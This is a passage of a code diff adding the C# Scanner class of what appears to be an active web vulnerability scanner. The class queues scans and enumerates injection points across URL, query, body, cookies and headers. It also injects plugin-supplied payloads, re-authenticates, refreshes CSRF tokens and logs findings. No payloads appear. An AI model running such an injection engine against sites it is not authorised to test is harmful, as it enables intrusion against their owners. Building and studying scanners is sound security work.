+ else + return ParameterNameInjections.Count + URLInjections.Count + QueryInjections.Count + BodyInjections.Count + CookieInjections.Count + HeadersInjections.Count + BodyXmlInjectionParameters.Count; + } + } + + public Scanner(Request Request) + { + this.OriginalRequest = Request.GetClone(); + } + + public int LaunchScan() + { + if (!NewScansAllowed) return -1; + this.ScanID = Interlocked.Increment(ref Config.ScanCount); + this.StartedFromASTab = true; + IronDB.CreateScan(ScanID, this.OriginalRequest); + if (this.LoginAndCsrfRecording != null) + { + IronDB.UpdateScan(ScanID, OriginalRequest, "Queued", this.GetInjectionString(), this.BodyFormat.Name, this.GetScanPluginsString(), this.SessionHandler.Name, this.IdOfWorkflowToScan, this.IndexOfRequestToScanInWorkFlowLogAssociations, this.LoginAndCsrfRecording.WorkflowId); + } + else + { + IronDB.UpdateScan(ScanID, OriginalRequest, "Queued", this.GetInjectionString(), this.BodyFormat.Name, this.GetScanPluginsString(), this.SessionHandler.Name, this.IdOfWorkflowToScan , this.IndexOfRequestToScanInWorkFlowLogAssociations, 0); + } + IronUI.CreateScan(this.ScanID, "Queued", this.OriginalRequest.Method, this.OriginalRequest.FullUrl); + lock (Scanner.ScanQueue) + { + Scanner.ScanQueue.Enqueue(this); + } + this.DequeueAndStartScan(); + return this.ScanID; + } + + internal void StartScan() + { + this.StartScan(Scanner.CurrentScanID); + } + + internal void StartScan(int ScanID) + { + if (!NewScansAllowed) return; + this.ScanID = ScanID; + this.StartedFromASTab = true; + if (this.LoginAndCsrfRecording != null) + { + IronDB.UpdateScan(this.ScanID, this.OriginalRequest, "Queued", this.GetInjectionString(), this.BodyFormat.Name, this.GetScanPluginsString(), this.SessionHandler.Name, this.IdOfWorkflowToScan, this.IndexOfRequestToScanInWorkFlowLogAssociations, this.LoginAndCsrfRecording.WorkflowId); + } + else + { + IronDB.UpdateScan(this.ScanID, this.OriginalRequest, "Queued", this.GetInjectionString(), this.BodyFormat.Name, this.GetScanPluginsString(), this.SessionHandler.Name, this.IdOfWorkflowToScan, this.IndexOfRequestToScanInWorkFlowLogAssociations, 0); + } + IronUI.UpdateScanQueueStatus(this.ScanID, "Queued"); + + lock (Scanner.ScanQueue) + { + Scanner.ScanQueue.Enqueue(this); + } + + this.DequeueAndStartScan(); + } + + void DequeueAndStartScan() + { + if (this.StartedFromASTab) RemoveActiveScanID(this.ScanID); + if (!NewScansAllowed) return; + lock (Scanner.ScanQueue) + { + while (Scanner.ScanQueue.Count > 0 && Config.ActiveScansCount < MaxParallelScanCount) + { + try + { + Scanner FromQueue = Scanner.ScanQueue.Dequeue(); + IronUI.UpdateScanQueueStatus(FromQueue.ScanID, "Running"); + IronDB.UpdateScanStatus(FromQueue.ScanID, "Running"); + ThreadStart TS = new ThreadStart(FromQueue.Scan); + Thread ScannerThread = new Thread(TS); + lock (ScanThreads) + { + if (ScanThreads.ContainsKey(FromQueue.ScanID)) + { + if (ScanThreads[FromQueue.ScanID] != null) + { + try { ScanThreads[FromQueue.ScanID].Abort(); } + catch { } + } + ScanThreads.Remove(FromQueue.ScanID); + } + ScanThreads.Add(FromQueue.ScanID, ScannerThread); + } + ScannerThread.Start(); + Interlocked.Increment(ref Config.ActiveScansCount); + } + catch (Exception Exp) + { + IronException.Report("Error Starting a Queued Scan", Exp.Message, Exp.StackTrace); + } + } + } + } + + void PrepareScanner() + { + this.OriginalRequest.SessionHandler = this.SessionHandler; + //this.OriginalResponse = this.OriginalRequest.Send();//this is just a temp value since calling inject from GetBaseLine would require a response object + this.OriginalResponse = null; + //this.TestResponse = this.OriginalResponse; + this.TestResponse = null; + this.CurrentRequest = this.OriginalRequest; + this.OriginalResponse = SessionHandler.GetBaseLine(this, null); + this.CurrentRequest = this.OriginalRequest; + this.TestResponse = this.OriginalResponse; + } + + public void Scan() + { + try + { + if (this.StartedFromASTab) AddActiveScanID(this.ScanID); + + this.PrepareScanner(); + + foreach (string AP in this.Plugins.Keys) + { + this.CurrentPlugin = AP; + + this.Reset(); + while (this.HasMore()) + { + this.Next(); + this.CheckWithActivePlugin(AP); + } + } + + if (this.StartedFromASTab) + { + Interlocked.Decrement(ref Config.ActiveScansCount); + IronUI.UpdateScanQueueStatus(this.ScanID, "Completed"); + IronDB.UpdateScanStatus(this.ScanID, "Completed"); + try + { + lock (CompletedScanIDs) + { + CompletedScanIDs.Enqueue(this.ScanID); + } + } + catch { } + this.DequeueAndStartScan(); + } + } + catch (ThreadAbortException ThExp) + { + HandleScannerException(false, ThExp); + } + catch (Exception Exp) + { + HandleScannerException(true, Exp); + } + } + + public bool HasMore() + { + if (CurrentInjectionPointIndex < this.InjectionPointsCount) + return true; + else + return false; + } + + public void Reset() + { + this.CurrentInjectionPointIndex = 0; + } + + public void Next() + { + if (this.CurrentRequest == null) this.PrepareScanner(); + + CurrentInjectionPointIndex++; + + int LocalPointCounter = 0; + + this.CurrentSection = "URL"; + foreach (int URLPartPosition in this.URLInjections) + { + LocalPointCounter++; + + if (LocalPointCounter == CurrentInjectionPointIndex) + { + this.CurrentURLPartPosition = URLPartPosition; + this.CurrentParameterName = ""; + this.CurrentSubParameterPosition = 0; + this.CurrentParameterValue = this.CurrentRequest.UrlPathParts[URLPartPosition]; + return; + } + } + + this.CurrentSection = "Query"; + foreach (string ParameterName in this.QueryInjections.GetAll()) + { + this.CurrentParameterName = ParameterName; + foreach (int SubParameterPosition in this.QueryInjections.GetAll(ParameterName)) + { + LocalPointCounter++; + + if (LocalPointCounter == CurrentInjectionPointIndex) + { + this.CurrentSubParameterPosition = SubParameterPosition; + this.CurrentParameterValue = this.CurrentRequest.Query.GetAll(ParameterName)[SubParameterPosition]; + return; + } + } + } + this.CurrentSection = "Body"; + if (BodyFormat.Name.Length > 0) + { + if (this.BodyXmlInjections.Count != XmlInjectionArray.GetLength(0) || !XmlInjectionSignature.Equals(Tools.MD5("Name:" + BodyFormat.Name + "|Body:" + this.OriginalRequest.BodyString))) + { + string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); + XmlInjectionArray = FormatPlugin.XmlToArray(Xml); + XmlInjectionSignature = Tools.MD5("Name:" + BodyFormat.Name + "|Body:" + this.OriginalRequest.BodyString); + } + foreach (int BodyXmlPosition in this.BodyXmlInjections) + { + LocalPointCounter++; + + if (LocalPointCounter == CurrentInjectionPointIndex) + { + this.CurrentBodyXmlPosition = BodyXmlPosition; + if (XmlInjectionArray.GetLength(0) > BodyXmlPosition) + { + this.CurrentParameterName = XmlInjectionArray[BodyXmlPosition, 0]; + this.CurrentParameterValue = XmlInjectionArray[BodyXmlPosition, 1]; + } + else + { + this.CurrentParameterName = ""; + this.CurrentParameterValue = ""; + } + this.CurrentSubParameterPosition = 0; + return; + } + } + } + else if (CustomInjectionPointStartMarker.Length > 0 && CustomInjectionPointEndMarker.Length > 0) + { + this.CurrentParameterName = ""; + this.CurrentParameterValue = ""; + this.CurrentSubParameterPosition = 0; + + for (int i = 0; i < this.GetCustomInjectionPointsCount(); i++) + { + LocalPointCounter++; + + if (LocalPointCounter == CurrentInjectionPointIndex) + { + this.CurrentCustomInjectionPosition = i; + this.CurrentParameterName = String.Format("Custom Injection Point no. {0}", i + 1); + this.CurrentParameterValue = GetValueAtCustomInjectionPoint(i); + return; + } + } + } + else + { + foreach (string ParameterName in this.BodyInjections.GetAll()) + { + this.CurrentParameterName = ParameterName; + foreach (int SubParameterPosition in this.BodyInjections.GetAll(ParameterName)) + { + LocalPointCounter++; + + if (LocalPointCounter == CurrentInjectionPointIndex) + { + this.CurrentSubParameterPosition = SubParameterPosition; + this.CurrentParameterValue = this.CurrentRequest.Body.GetAll(ParameterName)[SubParameterPosition]; + return; + } + } + } + } + + this.CurrentSection = "Cookie"; + foreach (string ParameterName in this.CookieInjections.GetAll()) + { + this.CurrentParameterName = ParameterName; + foreach (int SubParameterPosition in this.CookieInjections.GetAll(ParameterName)) + { + LocalPointCounter++; + + if (LocalPointCounter == CurrentInjectionPointIndex) + { + this.CurrentSubParameterPosition = SubParameterPosition; + this.CurrentParameterValue = this.CurrentRequest.Cookie.GetAll(ParameterName)[SubParameterPosition]; + return; + } + } + } + + this.CurrentSection = "Headers"; + foreach (string ParameterName in this.HeadersInjections.GetAll()) + { + this.CurrentParameterName = ParameterName; + foreach (int SubParameterPosition in this.HeadersInjections.GetAll(ParameterName)) + { + LocalPointCounter++; + + if (LocalPointCounter == CurrentInjectionPointIndex) + { + this.CurrentSubParameterPosition = SubParameterPosition; + this.CurrentParameterValue = this.CurrentRequest.Headers.GetAll(ParameterName)[SubParameterPosition]; + return; + } + } + } + + this.CurrentSection = "ParameterNames"; + foreach (string ParameterName in this.ParameterNameInjections.GetAll()) + { + LocalPointCounter++; + + if (LocalPointCounter == CurrentInjectionPointIndex) + { + this.CurrentParameterName = ParameterName; + this.CurrentSubParameterPosition = 0; + this.CurrentParameterValue = ""; + return; + } + } + } + + void HandleScannerException(bool Aborted, Exception Exp) + { + if (this.StartedFromASTab) + { + Interlocked.Decrement(ref Config.ActiveScansCount); + try + { + lock (AbortedScanIDs) + { + AbortedScanIDs.Enqueue(this.ScanID); + } + } + catch { } + try + { + this.DequeueAndStartScan(); + } + catch (Exception Expp) + { + IronException.Report("Unable to Start the next Scan Job", Expp.Message, Expp.StackTrace); + } + if (Aborted) + { + Scanner.UpdateScanStatus(this.scanID, "Aborted"); + string Title = "Scan Aborted due to Error" + " - Scan ID: " + this.scanID.ToString(); + string Message = Exp.Message; + IronException.Report(Title, Exp.Message, Exp.StackTrace); + } + else + { + Scanner.UpdateScanStatus(this.scanID, "Stopped"); + } + } + else + { + throw Exp; + } + } + + internal static void UpdateScanStatus(int ScanID, string Status) + { + IronUI.UpdateScanQueueStatus(ScanID, Status); + IronDB.UpdateScanStatus(ScanID, Status); + } + + #region InjectAndScanInShell + public void ScanAll() + { + this.ResetInjectionParameters(); + this.InjectAll(); + this.Scan(); + } + public void InjectAll() + { + this.InjectURL(); + this.InjectQuery(); + this.InjectBody(); + this.InjectCookie(); + this.InjectHeaders(); + } + public void ScanUrl() { this.ScanURL(); } + public void ScanURL() + { + this.ResetInjectionParameters(); + this.InjectURL(); + this.Scan(); + } + public void InjectUrl() { this.InjectURL(); } + public void InjectURL() + { + List URLParts = OriginalRequest.UrlPathParts; + for (int i = 0; i < URLParts.Count; i++) + { + this.InjectURL(i); + } + } + public void ScanQuery() + { + this.ResetInjectionParameters(); + this.InjectQuery(); + this.Scan(); + } + public void InjectQuery() + { + foreach (string Name in OriginalRequest.Query.GetNames()) + { + this.InjectQuery(Name); + } + } + public void ScanBody() + { + this.ResetInjectionParameters(); + this.InjectBody(); + this.Scan(); + } + public void InjectBody() + { + if (BodyFormat.Name.Length == 0) + { + foreach (string Name in OriginalRequest.Body.GetNames()) + { + this.InjectBody(Name); + } + } + else + { + if (this.BodyXmlInjectionParameters.Count == 0) + { + string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); + XmlInjectionArray = FormatPlugin.XmlToArray(Xml); + XmlInjectionSignature = Tools.MD5("Name:" + BodyFormat.Name + "|Body" + this.OriginalRequest.BodyString); + for (int i = 0; i < XmlInjectionArray.GetLength(0); i++) + { + this.BodyXmlInjectionParameters.Add(XmlInjectionArray[i, 0], XmlInjectionArray[i, 1]); + } + } + for (int i = 0; i < this.BodyXmlInjectionParameters.Count; i++) + { + this.InjectBody(i); + } + } + } + public void ScanCookie() + { + this.ResetInjectionParameters(); + this.InjectCookie(); + this.Scan(); + } + public void InjectCookie() + { + foreach (string Name in OriginalRequest.Cookie.GetNames()) + { + this.InjectCookie(Name); + } + } + public void ScanHeaders() + { + this.ResetInjectionParameters(); + this.InjectHeaders(); + this.Scan(); + } + public void InjectHeaders() + { + foreach (string Name in OriginalRequest.Headers.GetNames()) + { + this.InjectHeaders(Name); + } + } + public void ScanQuery(string ParameterName) + { + this.ResetInjectionParameters(); + this.InjectQuery(ParameterName); + this.Scan(); + } + public void InjectQuery(string ParameterName) + { + for (int i = 0; i < OriginalRequest.Query.GetAll(ParameterName).Count; i++) + { + this.InjectQuery(ParameterName, i); + } + } + public void ScanBody(string ParameterName) + { + this.ResetInjectionParameters(); + this.InjectBody(ParameterName); + this.Scan(); + } + public void ScanBody(int XmlInjectionPoint) + { + this.ResetInjectionParameters(); + this.InjectBody(XmlInjectionPoint); + this.Scan(); + } + public void InjectBody(string ParameterName) + { + for (int i = 0; i < OriginalRequest.Body.GetAll(ParameterName).Count; i++) + { + this.InjectBody(ParameterName, i); + } + } + public void InjectBody(int XmlInjectionPoint) + { + if (this.BodyFormat.Name.Length == 0) + { + throw new Exception("Format Plugin Not Selected"); + } + if (this.BodyXmlInjectionParameters.Count == 0) + { + DeserializeRequestBodyWithFormatPlugin(); + //string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); + //InjectionArrayXML = Xml; + //XmlInjectionArray = FormatPlugin.XmlToArray(Xml); + //XmlInjectionSignature = Tools.MD5("Name:" + BodyFormat.Name + "|Body" + this.OriginalRequest.BodyString); + //for (int i = 0; i < XmlInjectionArray.GetLength(0); i++) + //{ + // this.BodyXmlInjectionParameters.Add(XmlInjectionArray[i, 0], XmlInjectionArray[i, 1]); + //} + } + //if (this.BodyXmlInjectionParameters.Count == 0 || !XmlInjectionSignature.Equals(Tools.MD5("Name:" + BodyFormat.Name + "|Body" + this.OriginalRequest.BodyString))) + if (BodyXmlInjectionParameters.Count == 0) throw new Exception("No parameters to Inject"); + //if (!XmlInjectionSignature.Equals(Tools.MD5("Name:" + BodyFormat.Name + "|Body:" + this.OriginalRequest.BodyString))) + //{ + // string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); + // XmlInjectionArray = FormatPlugin.XmlToArray(Xml); + // for (int i = 0; i < XmlInjectionArray.GetLength(0); i++) + // { + // this.BodyXmlInjectionParameters.Add(XmlInjectionArray[i, 0], XmlInjectionArray[i, 1]); + // } + //} + if (XmlInjectionPoint >= BodyXmlInjectionParameters.Count) throw new Exception("Injection point is outside the list of available values"); + if (!this.BodyXmlInjections.Contains(XmlInjectionPoint)) this.BodyXmlInjections.Add(XmlInjectionPoint); + this.CustomInjectionPointStartMarker = ""; + this.CustomInjectionPointEndMarker = ""; + this.BodyInjections = new InjectionParameters(); + } + + public void InjectBody(string StartMarker, string EndMarker) + { + if (StartMarker.Length == 0) + { + throw new Exception("Start Marker cannot be empty"); + } + if (EndMarker.Length == 0) + { + throw new Exception("End Marker cannot be empty"); + } + if (StartMarker.Equals(EndMarker)) + { + throw new Exception("Start Marker and End Marker cannot be the same"); + } + this.CustomInjectionPointStartMarker = StartMarker; + this.CustomInjectionPointEndMarker = EndMarker; + this.BodyFormat = new FormatPlugin(); + this.BodyXmlInjectionParameters = new Parameters(); + this.BodyXmlInjections = new List(); + this.BodyInjections = new InjectionParameters(); + } + public void AddEscapeRule(string RawCharacter, string EncodedCharacter) + { + for (int i = 0; i < this.CharacterEscapingRules.Count; i++) + { + if (this.CharacterEscapingRules[i][0].Equals(RawCharacter)) + { + this.CharacterEscapingRules[i][1] = EncodedCharacter; + return; + } + } + this.CharacterEscapingRules.Add(new string[] { RawCharacter, EncodedCharacter }); + } + public void ScanCookie(string ParameterName) + { + this.ResetInjectionParameters(); + this.InjectCookie(ParameterName); + this.Scan(); + } + public void InjectCookie(string ParameterName) + { + for (int i = 0; i < OriginalRequest.Cookie.GetAll(ParameterName).Count; i++) + { + this.InjectCookie(ParameterName, i); + } + } + public void ScanHeaders(string ParameterName) + { + this.ResetInjectionParameters(); + this.InjectHeaders(ParameterName); + this.Scan(); + } + public void InjectHeaders(string ParameterName) + { + for (int i = 0; i < OriginalRequest.Headers.GetAll(ParameterName).Count; i++) + { + this.InjectHeaders(ParameterName, i); + } + } + + public void ScanUrl(int i) { this.ScanURL(); } + public void ScanURL(int i) + { + this.ResetInjectionParameters(); + this.InjectURL(i); + this.Scan(); + } + public void InjectUrl(int i) { this.InjectURL(i); } + public void InjectURL(int i) + { + if (!URLInjections.Contains(i)) URLInjections.Add(i); + } + public void ScanQuery(string ParameterName, int SubParameterPosition) + { + this.ResetInjectionParameters(); + this.InjectQuery(ParameterName, SubParameterPosition); + this.Scan(); + } + public void InjectQuery(string ParameterName, int SubParameterPosition) + { + if (this.QueryInjections.Has(ParameterName)) + { + if (!this.QueryInjections.GetAll(ParameterName).Contains(SubParameterPosition)) this.QueryInjections.Add(ParameterName, SubParameterPosition); + } + else + { + this.QueryInjections.Add(ParameterName, SubParameterPosition); + } + } + public void ScanBody(string ParameterName, int SubParameterPosition) + { + this.ResetInjectionParameters(); + this.InjectBody(ParameterName, SubParameterPosition); + this.Scan(); + } + public void InjectBody(string ParameterName, int SubParameterPosition) + { + if (this.BodyInjections.Has(ParameterName)) + { + if (!this.BodyInjections.GetAll(ParameterName).Contains(SubParameterPosition)) this.BodyInjections.Add(ParameterName, SubParameterPosition); + } + else + { + this.BodyInjections.Add(ParameterName, SubParameterPosition); + } + this.CustomInjectionPointStartMarker = ""; + this.CustomInjectionPointEndMarker = ""; + this.BodyFormat = new FormatPlugin(); + this.BodyXmlInjectionParameters = new Parameters(); + this.BodyXmlInjections = new List(); + } + public void ScanCookie(string ParameterName, int SubParameterPosition) + { + this.ResetInjectionParameters(); + this.InjectCookie(ParameterName, SubParameterPosition); + this.Scan(); + } + public void InjectCookie(string ParameterName, int SubParameterPosition) + { + if (this.CookieInjections.Has(ParameterName)) + { + if (!this.CookieInjections.GetAll(ParameterName).Contains(SubParameterPosition)) this.CookieInjections.Add(ParameterName, SubParameterPosition); + } + else + { + this.CookieInjections.Add(ParameterName, SubParameterPosition); + } + } + public void ScanHeaders(string ParameterName, int SubParameterPosition) + { + this.ResetInjectionParameters(); + this.InjectHeaders(ParameterName, SubParameterPosition); + this.Scan(); + } + public void InjectHeaders(string ParameterName, int SubParameterPosition) + { + if (!(ParameterName.Equals("Cookie", StringComparison.InvariantCultureIgnoreCase) || ParameterName.Equals("Host", StringComparison.InvariantCultureIgnoreCase) || ParameterName.Equals("Content-Length", StringComparison.InvariantCultureIgnoreCase))) + { + if (this.HeadersInjections.Has(ParameterName)) + { + if (!this.HeadersInjections.GetAll(ParameterName).Contains(SubParameterPosition)) this.HeadersInjections.Add(ParameterName, SubParameterPosition); + } + else + { + this.HeadersInjections.Add(ParameterName, SubParameterPosition); + } + } + } + public void InjectParameterNames() + { + ParameterNameInjections.Add("Query", 1); + ParameterNameInjections.Add("Body", 1); + ParameterNameInjections.Add("Cookie", 1); + ParameterNameInjections.Add("Headers", 1); + } + public void InjectParameterName(string ParameterSectionName) + { + if ((new List() { "Query", "Body", "Cookie", "Headers" }).Contains(ParameterSectionName)) + { + ParameterNameInjections.Add(ParameterSectionName, 1); + } + else + { + throw new Exception("Only 'Query', 'Body', 'Cookie', 'Headers' are the accepted parameter values"); + } + } + #endregion + + internal void DeserializeRequestBodyWithFormatPlugin() + { + string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); + InjectionArrayXML = Xml; + XmlInjectionArray = FormatPlugin.XmlToArray(Xml); + XmlInjectionSignature = Tools.MD5("Name:" + BodyFormat.Name + "|Body" + this.OriginalRequest.BodyString); + this.BodyXmlInjectionParameters = new Parameters(); + for (int i = 0; i < XmlInjectionArray.GetLength(0); i++) + { + this.BodyXmlInjectionParameters.Add(XmlInjectionArray[i, 0], XmlInjectionArray[i, 1]); + } + } + + public Response RawInject(string Payload) + { + return this.Inject(Payload, 0, false, true, -1); + } + + public Response Inject(string Payload) + { + return this.Inject(Payload, 0, false, false, -1); + } + + public Response Inject(string Payload, int TimeOut) + { + return this.Inject(Payload, 0, false, false, TimeOut); + } + + public Response Inject() + { + return this.Inject("", 0, true, false, -1); + } + + private Response Inject(string RawPayload, int ReDoCount, bool PayloadLessInjection, bool Raw, int TimeOut) + { + this.TestRequest = this.CurrentRequest.GetClone(); + + if (this.LoginAndCsrfRecording != null) + { + this.TestRequest.SetCookie(this.LoginAndCsrfRecording.Cookies); + if (!this.LoginAndCsrfRecording.IsLoggedIn()) + { + this.LoginAndCsrfRecording.DoLogin(); + if (!this.LoginAndCsrfRecording.IsLoggedIn()) + { + throw new Exception("Unable to login user"); + } + this.TestRequest.SetCookie(this.LoginAndCsrfRecording.Cookies); + } + if (this.LoginAndCsrfRecording.CsrfParameterName.Length > 0) + { + if (this.TestRequest.Query.Has(this.LoginAndCsrfRecording.CsrfParameterName)) + { + this.TestRequest.Query.Set(this.LoginAndCsrfRecording.CsrfParameterName, this.LoginAndCsrfRecording.GetCsrfToken()); + } + else if (this.TestRequest.Body.Has(this.LoginAndCsrfRecording.CsrfParameterName)) + { + this.TestRequest.Body.Set(this.LoginAndCsrfRecording.CsrfParameterName, this.LoginAndCsrfRecording.GetCsrfToken()); + } + } + } + + Analysis.LogReplayer WorkFlowReplayer = null; + if (WorkFlowLogAssociations != null) + { + WorkFlowReplayer = new Analysis.LogReplayer(WorkFlowLogAssociations); + for (int i = 0; i <= IndexOfRequestToScanInWorkFlowLogAssociations; i++) + { + if (i == IndexOfRequestToScanInWorkFlowLogAssociations) + { + this.TestRequest = WorkFlowReplayer.PrepareStepForPlay(); + } + else + { + WorkFlowReplayer.PrepareStepForPlay(); + WorkFlowReplayer.PlayStep(); + } + } + } + else + { + //this.CurrentRequest = SessionHandler.Update(this.CurrentRequest, this.TestResponse); + if (SessionHandler.Name.Length > 0) + { + this.CurrentRequest = SessionHandler.DoBeforeSending(this.CurrentRequest, this.TestResponse); + this.TestRequest = this.CurrentRequest.GetClone(); + } + } + + //this.TestRequest = SessionHandler.PrepareForInjection(this.CurrentRequest.GetClone()); + string Payload = ""; + if (!PayloadLessInjection) Payload = SessionHandler.EncodePayload(this.CurrentSection, this.TestRequest, RawPayload); + List SubValues = new List(); + if (!PayloadLessInjection) + { + if (this.CurrentSection.Equals("URL")) + { + List URLParts = new List(); + if (Raw) + URLParts = this.TestRequest.RawUrlPathParts; + else + URLParts = this.TestRequest.UrlPathParts; + URLParts[this.CurrentURLPartPosition] = Payload; + if (Raw) + this.TestRequest.RawUrlPathParts = URLParts; + else + this.TestRequest.UrlPathParts = URLParts; + } + else if (this.CurrentSection.Equals("Query")) + { + if (Raw) + SubValues = this.TestRequest.Query.RawGetAll(this.CurrentParameterName); + else + SubValues = this.TestRequest.Query.GetAll(this.CurrentParameterName); + SubValues[this.CurrentSubParameterPosition] = Payload; + if (Raw) + this.TestRequest.Query.RawSet(this.CurrentParameterName, SubValues); + else + this.TestRequest.Query.Set(this.CurrentParameterName, SubValues); + } + else if (this.CurrentSection.Equals("Body")) + { + if (BodyFormat.Name.Length > 0) + { + string InjectedBodyXml = FormatPlugin.InjectInXml(BodyFormat.ToXmlFromRequest(this.TestRequest), this.CurrentBodyXmlPosition, Payload); + this.TestRequest = BodyFormat.ToRequestFromXml(this.TestRequest, InjectedBodyXml); + } + else if (this.CustomInjectionPointStartMarker.Length > 0 && this.CustomInjectionPointEndMarker.Length > 0) + { + this.TestRequest.BodyString = InjectAtCustomInjectionPoint(this.CurrentCustomInjectionPosition, Payload); + } + else + { + if (Raw) + SubValues = this.TestRequest.Body.RawGetAll(this.CurrentParameterName); + else + SubValues = this.TestRequest.Body.GetAll(this.CurrentParameterName); + SubValues[this.CurrentSubParameterPosition] = Payload; + if (Raw) + this.TestRequest.Body.RawSet(this.CurrentParameterName, SubValues); + else + this.TestRequest.Body.Set(this.CurrentParameterName, SubValues); + } + } + else if (this.CurrentSection.Equals("Cookie")) + { + if (Raw) + SubValues = this.TestRequest.Cookie.RawGetAll(this.CurrentParameterName); + else + SubValues = this.TestRequest.Cookie.GetAll(this.CurrentParameterName); + SubValues[this.CurrentSubParameterPosition] = Payload; + if (Raw) + this.TestRequest.Cookie.RawSet(this.CurrentParameterName, SubValues); + else + this.TestRequest.Cookie.Set(this.CurrentParameterName, SubValues); + } + else if (this.CurrentSection.Equals("Headers")) + { + if (Raw) + SubValues = this.TestRequest.Headers.RawGetAll(this.CurrentParameterName); + else + SubValues = this.TestRequest.Headers.GetAll(this.CurrentParameterName); + SubValues[this.CurrentSubParameterPosition] = Payload; + if (Raw) + this.TestRequest.Headers.RawSet(this.CurrentParameterName, SubValues); + else + this.TestRequest.Headers.Set(this.CurrentParameterName, SubValues); + } + else if (this.CurrentSection.Equals("ParameterNames")) + { + switch (this.CurrentParameterName) + { + case ("Query"): + if (Raw) + this.TestRequest.Query.RawSet(Payload, "0"); + else + this.TestRequest.Query.Set(Payload, "0"); + break; + case ("Body"): + if (Raw) + this.TestRequest.Body.RawSet(Payload, "0"); + else + this.TestRequest.Body.Set(Payload, "0"); + break; + case ("Cookie"): + if (Raw) + this.TestRequest.Cookie.RawSet(Payload, "0"); + else + this.TestRequest.Cookie.Set(Payload, "0"); + break; + case ("Headers"): + if (Raw) + this.TestRequest.Headers.RawSet(Payload, "0"); + else + this.TestRequest.Headers.Set(Payload, "0"); + break; + } + } + } + if (this.CustomInjectionPointStartMarker.Length > 0 && this.CustomInjectionPointEndMarker.Length > 0) + { + this.TestRequest.BodyString = this.TestRequest.BodyString.Replace(this.CustomInjectionPointStartMarker, "").Replace(this.CustomInjectionPointEndMarker, ""); + } + if (this.LogSource != RequestSource.Scan) this.TestRequest.SetSource(this.LogSource);//For Scanner, the logsource is set when ScanId is assigned to the request + + Response ResponseFromInjection = null; + if (WorkFlowLogAssociations != null) + { + this.TestResponse = WorkFlowReplayer.PlayStep(); + while (WorkFlowReplayer.HasMoreStepsToPlay()) + { + WorkFlowReplayer.PrepareStepForPlay(); + WorkFlowReplayer.PlayStep(); + } + ResponseFromInjection = this.TestResponse; + } + else + { + if (TimeOut > 0) + { + this.TestResponse = this.TestRequest.Send(TimeOut); + } + else + { + this.TestResponse = this.TestRequest.Send(); + } + if (this.LogSource.Equals(RequestSource.Scan)) + { + this.CurrentTraceRequestLogId = this.TestResponse.ID; + } + + if (SessionHandler.Name.Length > 0) + { + //Response InterestingResponse = SessionHandler.GetInterestingResponse(this.TestRequest, this.TestResponse); + ResponseFromInjection = SessionHandler.DoAfterSending(this.TestResponse, this.TestRequest); + } + else + { + ResponseFromInjection = this.TestResponse; + } + } + + //if (!DummmyInjection && SessionHandler.ShouldReDo(this, this.TestRequest, ResponseFromInjection)) + //{ + // if (SessionHandler.MaxReDoCount > ReDoCount) + // { + // return Inject(Payload, ReDoCount + 1, false, Raw); + // } + // else + // { + // throw new Exception("Unable to get valid Response for Injection, ReDoCount exceeded maximum value"); + // } + //} + //else + //{ + // return ResponseFromInjection; + //} + if (this.LogSource.Equals(RequestSource.Scan)) + { + if (this.TestResponse.ID == ResponseFromInjection.ID) + { + if (PayloadLessInjection) + { + this.TraceOverviewEntries.Add(new string[] { PreInjectionParameterValue, ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); + } + else + { + this.TraceOverviewEntries.Add(new string[] { Payload, ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); + } + } + else + { + if (PayloadLessInjection) + { + this.TraceOverviewEntries.Add(new string[] { PreInjectionParameterValue, this.TestResponse.ID.ToString(), this.TestResponse.Code.ToString(), this.TestResponse.BodyLength.ToString(), this.TestResponse.ContentType, this.TestResponse.RoundTrip.ToString(), Tools.MD5(this.TestResponse.ToString()), ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); + } + else + { + this.TraceOverviewEntries.Add(new string[] { Payload, this.TestResponse.ID.ToString(), this.TestResponse.Code.ToString(), this.TestResponse.BodyLength.ToString(), this.TestResponse.ContentType, this.TestResponse.RoundTrip.ToString(), Tools.MD5(this.TestResponse.ToString()), ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); + } + } + } + + return ResponseFromInjection; + } + + public Response Inject(Request RequestToInject) + { + RequestToInject.Source = RequestSource.Scan; + RequestToInject.ScanID = this.ScanID; + Response ResponseFromInjection = RequestToInject.Send(); + //return SessionHandler.GetInterestingResponse(RequestToInject, ResponseFromInjection); + return SessionHandler.DoAfterSending(ResponseFromInjection, RequestToInject); + } + + public void AddFinding(Finding F) + { + F.ScanId = this.ID; + F.AffectedSection = this.InjectedSection; + F.AffectedParameter = this.InjectedParameter; + + F.FinderName = this.ActivePluginName; + F.FinderType = "ActivePlugin"; + + F.BaseRequest = this.BaseRequest; + F.BaseResponse = this.BaseResponse; + + this.PRs.Add(F); + F.Report(); + } + public void CheckAll() + { + foreach (string Name in ActivePlugin.List()) + { + this.AddCheck(Name); + } + } + public void AddCheck(string PluginName) + { + if (ActivePlugin.List().Contains(PluginName)) + { + if (!Plugins.ContainsKey(PluginName)) + { + Plugins.Add(PluginName, ""); + } + } + else + { + throw new Exception("Plugin with name ' " + PluginName + "' not found"); + } + } + + public void RemoveCheck(string CheckName) + { + if (this.Plugins.ContainsKey(CheckName)) + { + this.Plugins.Remove(CheckName); + } + } + + public void ClearChecks() + { + this.Plugins = new Dictionary(); + } + + + public List ShowChecks() + { + List List = new List(); + foreach (string N in this.Plugins.Keys) + { + List.Add(N); + } + return List; + } + + void ResetInjectionParameters() + { + this.URLInjections = new List(); + this.QueryInjections = new InjectionParameters(); + 